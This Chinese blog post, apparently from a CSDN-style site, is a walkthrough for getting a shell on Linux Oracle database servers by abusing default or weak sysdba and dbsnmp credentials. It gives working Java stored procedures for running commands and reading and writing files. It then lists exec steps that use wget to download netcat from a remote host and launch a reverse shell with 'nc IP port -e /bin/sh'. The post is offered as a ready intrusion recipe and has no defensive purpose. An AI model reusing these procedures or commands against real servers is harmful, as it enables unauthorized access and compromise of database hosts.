shell 读取oracle,Linux下Oracle获取shell

作者:浅凝

很多时候对于开放1521端口的Windows下Oracle数据库服务器,因为大多存在默认低权限用户dbsnmp,或者人品爆发高权限的用户 (sysdba)是默认密码或弱口令,由此可以通过Oracle的一些提权漏洞获取Oracle的最高权限,直至得到系统的SYSTEM权限。

而对于Linux下的Oracle数据库***,因为Linux下一般Oracle数据库都是以Oracle的独立用户在跑,所以无法获取到root 权限。当然很多WEB和数据库在同一服务器上的时候,可以导出WEBSHELL到WEB目录来获取权限。然而大部分的数据库都是独立跑在一个服务器上,以下用简单的方式获取Oracle的shell,即采用nc反弹的shell的方式。

1、Oracle数据库支持JAVA(如Windows下***一般)

2、通过Oracle客户端sqlplus,以sysdba用户登录(dbsnmp用户可提权至sysdba)

3、执行以下代码:

CODE_1:

create or replace and resolve java source named "oraexec" as

import java.lang.*;

import java.io.*;

public class oraexec

{

/*

* Command execution module

*/

public static void execCommand(String command) throws IOException

{

Runtime.getRuntime().exec(command);

}

/*

* File reading module

*/

public static void readFile(String filename) throws IOException

{

FileReader f = new FileReader(filename);

BufferedReader fr = new BufferedReader(f);

String text = fr.readLine();

while (text != null) {

System.out.println(text);

text = fr.readLine();

}

fr.close();

}

/*

* File writing module

*/

public static void writeFile(String filename, String line) throws IOException

{

FileWriter f = new FileWriter(filename, true); /* append */

BufferedWriter fw = new BufferedWriter(f);

fw.write(line);

fw.write("\n");

fw.close();

}

}

============================================

CODE_2:

-- usage: exec javacmd('command');

create or replace procedure javacmd(p_command varchar2) as

language java

name 'oraexec.execCommand(java.lang.String)';

===========================================

CODE_3:

-- usage: exec dbms_java.set_output(2000);

--        set serveroutput on;

--        exec javareadfile('/path/to/file');

create or replace procedure javareadfile(p_filename in varchar2) as

language java

name 'oraexec.readFile(java.lang.String)';

============================================

CODE_4:

-- usage: exec javawritefile('/path/to/file', 'line to append');

create or replace procedure javawritefile(p_filename in varchar2, p_line in varchar2) as

language java

name 'oraexec.writeFile(java.lang.String, java.lang.String)';

4、

exec javawritefile(‘/tmp/getnc’, ‘wget http://www/nc -O /tmp/nc’); //写入wget nc 命令到文件getnc

exec dbms_java.set_output(2000); //设置javareadfile

set serveroutput on;

exec javareadfile(‘/tmp/getnc’); //读取文件查看是否写入成功

exec javacmd(‘/bin/sh /tmp/getnc’); //执行命令下载nc

exec javareadfile(‘/tmp/nc’); //查看nc是否下载成功

exec javawritefile(‘/tmp/shell’, ‘/tmp/nc IP port -e /bin/sh’); //写入反弹命令

exec javareadfile(‘/tmp/shell’); //读取文件查看是否写入成功

exec javacmd(‘/bin/sh /tmp/shell’); //执行nc反弹shell,在本地nc监听就能得到shell,如果不行,请确认防火墙

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值